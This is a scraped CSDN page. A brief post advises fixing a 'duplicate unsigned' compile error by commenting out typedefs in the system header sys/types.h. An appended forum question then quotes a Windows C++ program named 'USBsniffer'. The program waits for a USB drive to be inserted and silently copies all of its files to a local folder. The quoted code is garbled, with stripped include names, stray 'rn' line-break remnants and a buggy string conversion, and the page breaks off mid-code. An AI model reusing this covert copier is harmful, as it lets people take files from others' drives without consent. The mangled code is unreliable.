解决/usr/include/sys/types.h:153: error: duplicate ‘unsigned’

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/luopeiyuan1990/article/details/9278885


这个是系统中定义类型的重复问题,在X64系统或者低版本linux内核中出现。

解决方法如下:

gedit /usr/include/sys/types.h

#ifdef __USE_MISC
/* Old compatibility names for C types.  */
//typedef unsigned long int ulong;
//typedef unsigned short int ushort;
//typedef unsigned int uint;
#endif

如上屏蔽掉,即可。

Good luck , have time in developing !





展开阅读全文

sys/types.hsys/stat.h文件的引用问题

04-05

我在网上下载了以下这样的一段代码,但是对于程序中引用的两个头文件不是很明白,希望大家可以指点下。rn程序引用到了sys/types.h和sys/stat.h这两个头文件。起初我不明白这两个头文件的作用,我就百度了一下,说是在Unix/Linux系统编程要用到的头文件,于是我就纳闷了,既然是在Unix/Linux系统下用到的,为什么我的程序在win7系统下用VC6.0编译运行可以通过,这是怎么一回事? 还有引用的sys是个什么东东呀,以前从来没有接触过这个东东,麻烦大家详解下,谢谢了rnrn[code=c]rn#include rn#include rn#include rn#include rn#include rn#include rn#include rnusing namespace std;rn rnvoid copyfiles(string source,char *target);rnchar *StringToChar(string source);rnbool IsDirectory(const char* fname);rnvoid Init();rn rnint main(int argc,char **argv)rnrn if(argc!=2)rn rn Init();rn rn elsern rn while(access(*(argv+1),0)==0)rn rn // if directory already exist,this will auto add '\1' back it;rn strcat(*(argv+1),"\\1\\");rn rn if(CreateDirectory(*(argv+1),NULL))rn rn DWORD frist=GetLogicalDrives();rn DWORD second,n=0;rn string targetPath="0";rn while(1)rn rn // every 3 seconds to estimate if there is a USB devicern Sleep(3000);rn second=GetLogicalDrives();rn if(second-frist>0)rn rn second-=frist;rn while(second>>=1) n++;rn targetPath[0]=n+65;rn targetPath+=":\\*";rn copyfiles(targetPath,*(argv+1));rn return 0;rn rn rn rn rnrn return 0;rnrn rnvoid copyfiles(string source,char *target)rnrn WIN32_FIND_DATA FindFileData;rn HANDLE hFind;rn char *sourceDir=0;rn int len;rn sourceDir=StringToChar(source);rn len=strlen(sourceDir);rn hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;rn sourceDir[len-1]='\0'; // take out '*';rn while(1)rn rn if(hFind == INVALID_HANDLE_VALUE)rn rn //file found errorrn break;rn rn elsern rn char temp[200];rn char tempPath[200],tempSource[200];rn strcpy(temp,sourceDir);rn strcat(temp,FindFileData.cFileName);rn if(IsDirectory(temp)== true)rn rn //estimate whether is a directoryrn if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,".."))rn rn //take out . & ..dircrn strcpy(tempSource,sourceDir);rn strcat(tempSource,FindFileData.cFileName);rn strcpy(tempPath,target);rn strcat(tempPath,FindFileData.cFileName);rn CreateDirectory(tempPath,NULL);rn strcat(tempSource,"\\*");rn strcat(tempPath,"\\");rn copyfiles(tempSource,tempPath); //Recursion rn rn rn rn elsern rn //if is a file,copy to target dircrn strcpy(tempSource,sourceDir);rn strcpy(tempPath,target);rn strcat(tempPath,FindFileData.cFileName);rn strcat(tempSource,FindFileData.cFileName);rn CopyFile(tempSource,tempPath,false);rn rn if(FindNextFile(hFind,&FindFileData)==0) rn break; //found the next filern rn rn FindClose(hFind); //handle closed;rn rnrnrnchar* StringToChar(string source)rn rn //string convent to char*rn char *ch=new char[source.length()];rn ch=(char*)source.c_str();rn return ch;rnrn rnbool IsDirectory(const char* fname) //Directory estimaternrn return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;rn rnrnvoid Init()rn rn //init functionrn cout<<" USBsniffer v1.0 "< 论坛

没有更多推荐了,返回首页